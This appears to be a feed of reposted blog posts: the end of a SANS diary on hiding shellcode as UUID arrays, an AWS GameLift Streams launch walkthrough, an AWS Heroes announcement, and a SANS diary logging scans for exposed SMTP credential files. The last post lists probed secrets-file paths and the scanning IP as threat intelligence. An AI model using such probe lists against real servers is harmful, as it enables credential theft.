Indeed, it is pretty easy to convert a binary file into an array of UUIDs. You need to read the shellcode in 16-byte chunks (each UUID is 128 bits, or 16 bytes) and interpret each chunk as a UUID. This technique has already been used by the Lazarus group in the past[6].

[1] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
[2] https://docs.python.org/3/library/ctypes.html
[3] https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa
[4] https://www.uuidtools.com/decode
[5] https://www.virustotal.com/gui/file/63733d412c82958055a8125e1499d695aa1e810b3577c6e849a90012c52da929
[6] https://www.nccgroup.com/us/research-blog/rift-analysing-a-lazarus-shellcode-execution-method/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scale and deliver game streaming experiences with Amazon GameLift Streams

This post was originally published on this site

Since 2016, game developers have been using Amazon GameLift to power games with dedicated, scalable server hosting capable of supporting 100M concurrent users (CCU) in a single game. Responding to customer requests for additional managed compute capabilities beyond game servers, we’re announcing Amazon GameLift Streams — a new capability in Amazon GameLift to help game publishers build and deliver global, direct-to-player game streaming experiences. As part of this announcement, existing capabilities in Amazon GameLift are now known as Amazon Gamelift Servers, continuing to serve hundreds of developers including industry leaders Ubisoft, Zynga, WB Games, and Meta.

Amazon GameLift Streams helps you deliver game streaming experiences at up to 1080p resolution and 60 frames per second across devices including iOS, Android, and PCs. In just a few clicks, you can deploy games built with a variety of 3D engines, without modifications, onto fully-managed cloud-based GPU instances and stream games through the AWS Network Backbone directly to any device with a web browser.

Amazon GameLift Streams helps you distribute your games direct-to-players, without having to invest millions of dollars in infrastructure and software development to build your own service. Players can start gaming in just a few seconds, without waiting for downloads or installs.

Here’s a quick look at Amazon GameLift Streams:

You can use the Amazon GameLift Streams SDK to integrate with your existing identity services, storefronts, game launchers, websites, or newly created experiences such as playable demos, and begin streaming to players. You can monitor active streams and usage from within the AWS console, and seamlessly scale your streaming infrastructure across multiple regions on the AWS global network to reach more players around the world with low-latency gameplay. Amazon GameLift Streams is the only solution that enables you to upload your game content onto fully-managed GPU instances in the cloud and start streaming in minutes, with little or no modification of your code.

Players can access AAA, AA, and indie games on PCs, phones, tablets, smart TVs, or any device with a WebRTC-enabled browser. Amazon GameLift Streams allows you to dynamically scale streaming capacity to match player demand, ensuring you only pay for what you need. You can choose from a selection of GPU instances that offer a range of price performance, and rely on the built-in security of AWS to protect your intellectual property.

Let’s get started
To begin using Amazon GameLift Streams, I need an existing Amazon GameLift Streams implementation. I prepare my game files by following the Amazon GameLift Streams documentation.

Then, I’ll upload my files to Amazon Simple Storage Service (Amazon S3). I can use the AWS Management Console or this AWS Command Line Interface (AWS CLI) command to upload my game files:

aws s3 sync my-game-folder s3://my-bucket/my-game-path

The next step is to create an Amazon GameLift Streams application. I navigate to the Amazon GameLift Streams console. This is how the new AWS GameLift Streams console looks:

On the Amazon GameLift Streams console, I choose Create application.

In the Runtime settings, I select the runtime environment for my game application.

Then, I need to select my S3 bucket and folder from the previous step, then set the path to my game’s main executable.

I also have the option to configure the automatic transfer of application-generated log files into a S3 bucket. After I’m done with this configuration, I choose Create application.

After my application setup is completed, I need to create a stream group, a collection of compute resources to run and stream the application. I navigate to Stream groups in the left navigation pane of the Amazon GameLift Streams console.

On this page, I define a description for my new stream group.

Here, I select the capabilities and pricing of my stream group. Since my application is using Microsoft Windows Server 2022 Base, I make sure to select one of the compatible stream classes.

Next, I need to link with the application I created in the previous step.

On the Configure stream settings page, I can configure additional locations for my stream group, bringing in additional capacity from other AWS Regions. There are two capacity options that I can choose, always-on capacity and on-demand capacity. The default capacity setting provides one streaming slot, which is sufficient for initial testing.

Then, I need to review my configuration and choose Create stream group.

With stream groups configured, I can test my game streaming. I navigate to the Test stream page on the console to launch my application as a stream. I select this stream group and select Choose.

On the next page, I can configure any command line arguments or environment variables to run my application. I don’t need any extra configurations and choose Test stream.

Then, I can see that my application is running as expected. I can also interact with my game. This test helps me verify that my game works properly in streaming mode and serves as an initial proof of concept.

After I’ve confirmed everything works, I can integrate the Web SDK into my own website. The Web SDK and AWS Software Development Kit (AWS SDK) with Amazon GameLift Streams APIs help me to embed game streams, similar to what I tested in the console, into any web page I manage.

Additional things to know

  • Availability – Amazon GameLift Streams is currently available in the following AWS Regions: US East (Ohio), US West (Oregon), Asia Pacific (Tokyo), Europe (Frankfurt). Additional streaming capacity can also be configured in US East (N. Virginia) and Europe (Ireland).
  • Supported operating systems – Amazon GameLift Streams supports games running on Windows, Linux, or Proton, offering easy onboarding and compatibility with game binaries. Learn more on Choosing a configuration in Amazon GameLift Streams documentation page.
  • Programmatic access – This new capability provides comprehensive tools including service APIs, client streaming SDKs, and AWS CLI for content packaging.

Now available
Explore how to streamline your game distribution using Amazon GameLift Streams. Learn more about getting started on the Amazon GameLift Streams page.

Happy streaming!

Donnie

How is the News Blog doing? Take this 1 minute survey!

(This survey is hosted by an external company. AWS handles your information as described in the AWS Privacy Notice. AWS will own the data gathered via this survey and will not share the information collected with survey respondents.)

New year, new Heroes – March 2025

This post was originally published on this site

As we dive into 2025, we’re thrilled to announce our latest group of AWS Heroes! These exceptional individuals have demonstrated outstanding expertise and innovation, and are committed to sharing knowledge. Their contributions to the AWS community are greatly appreciated, and today we’re excited to celebrate them.

Ahmed Bebars – New Jersey, USA

Container Hero Ahmed Bebars is a Principal Engineer at The New York Times, where he leads the design and delivery of scalable developer platforms that enhance productivity and empower engineering teams. With deep expertise in containers, Kubernetes, and cloud-native technologies, Ahmed builds robust infrastructure solutions that streamline development workflows and support innovation. As an active member of the AWS and Cloud Native communities, he frequently shares his expertise at events like KubeCon, AWS re:Invent, AWS Community Days, and Kubernetes Community Days. Through his initiative, “Level Up with Ahmed,” he shares practical insights and resources to help engineers grow their skills and stay ahead in the evolving tech landscape.

Badri Narayanan Kesavan – Singapore

Community Hero Badri Narayanan Kesavan is an Engineering Lead and Solutions Architect with over a decade of professional experience, specializing in AWS Cloud solutions, platform engineering, and DevOps automation. Badri’s passion lies in learning and sharing with the community. He has delivered several talks at AWS Singapore Summit, AWS Summit ASEAN 2023, AWS Community Days, and various user group meetups. As an active AWS community leader, he organizes meetups and workshops under the AWS Singapore User Group where he regularly conducts sessions on diverse AWS topics, engaging a wide audience to foster innovation and collaboration. He has also authored the book “Mastering Amazon EC2)” which is a comprehensive guide to building robust and resilient applications on Amazon Elastic Compute Cloud (Amazon EC2).

Marcelo Paiva – Goiânia, Brazil

Community Hero Marcelo Paiva has over 30 years of experience in technology and is the CTO at Softprime Soluções, leading product development and research in digital biometrics, facial recognition, and artificial intelligence (AI). With more than a decade working with cloud computing, he specializes in building scalable and innovative solutions using AWS. Passionate about tech communities, Marcelo founded the AWS User Group in Goiânia in 2018, helping grow the local community. Today, he organizes events such as JoinCommunity and Cloud Summit Cerrado, fostering learning and networking in the Cerrado region.

Raphael Jambalos – Quezon City, Philippines

Community Hero Raphael Jambalos manages the Cloud Native development team at eCloudValley Philippines. His team has implemented dozens of cloud-native applications across multiple industries for customers in the Philippines. He is active in helping the AWS User Groups grow in the Philippines, and is passionate about connecting with the community beyond Manila. In his free time, he loves to read books and write about cloud technologies on his Dev.to blog.

Stav Ochakovski – Tel Aviv, Israel

Container Hero Stav Ochakovski is a DevOps Engineer at Beacon and a cybersecurity expert, managing highly scalable multi-cloud environments. With a background in DevOps engineering and instruction, Stav seamlessly transitioned into the dynamic cybersecurity start-up scene. A champion of container technologies and Amazon Elastic Kubernetes Service (Amazon EKS), she brings deep expertise in Kubernetes, CI/CD pipelines, and logging solutions to the AWS community. Stav actively shares her expertise by speaking at AWS community events, as well as security and container conferences. She is also a leader of the Israel AWS User Group and is a pastry-chef school graduate and licensed skipper.

Learn More

Visit the AWS Heroes website if you’d like to learn more about the AWS Heroes program, or to connect with a Hero near you.

Taylor

Romanian Distillery Scanning for SMTP Credentials, (Tue, Mar 4th)

This post was originally published on this site

Lately, attackers have gotten more creative and aggressive in trying to find various credential files on exposed web servers. Our "First Seen" page each day shows many new versions of scans for secrets files like ".env". 

Yesterday, I noted a couple of requests that stuck out a bit:

/admin/smtp_keys.json
/admin/smtp_tokens.json

The same attacker scanned for variations like "/api/smtp_keys.json" and "/backend/smtp_keys.json"

Date URL
2025-03-01 /admin/smtp_tokens.json
2025-03-01 /api/smtp_tokens.json
2025-03-01 /backend/smtp_tokens.json
2025-03-01 /deploy/smtp_tokens.json
2025-03-01 /staging/smtp_tokens.json
2025-03-01 /testing/smtp_tokens.json
2025-03-01 /user/smtp_tokens.json
2025-03-01 /web/smtp_tokens.json
2025-03-02 /admin/smtp_tokens.json
2025-03-02 /api/smtp_tokens.json
2025-03-02 /backend/smtp_tokens.json
2025-03-02 /deploy/smtp_tokens.json
2025-03-02 /staging/smtp_tokens.json
2025-03-02 /testing/smtp_tokens.json
2025-03-02 /user/smtp_tokens.json
2025-03-02 /web/smtp_tokens.json

The requests originate from one IP address, %%ip:193.41.206.202%%. According to Whois, the IP is associated with a Romanian Distillery (Alexandrion Saber 1789 Distilleries). Likely a compromised system in their network used for scanning. The scans started in February and they have been hitting possible secrets files since then ever so often slightly changing the set of files they are looking for.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.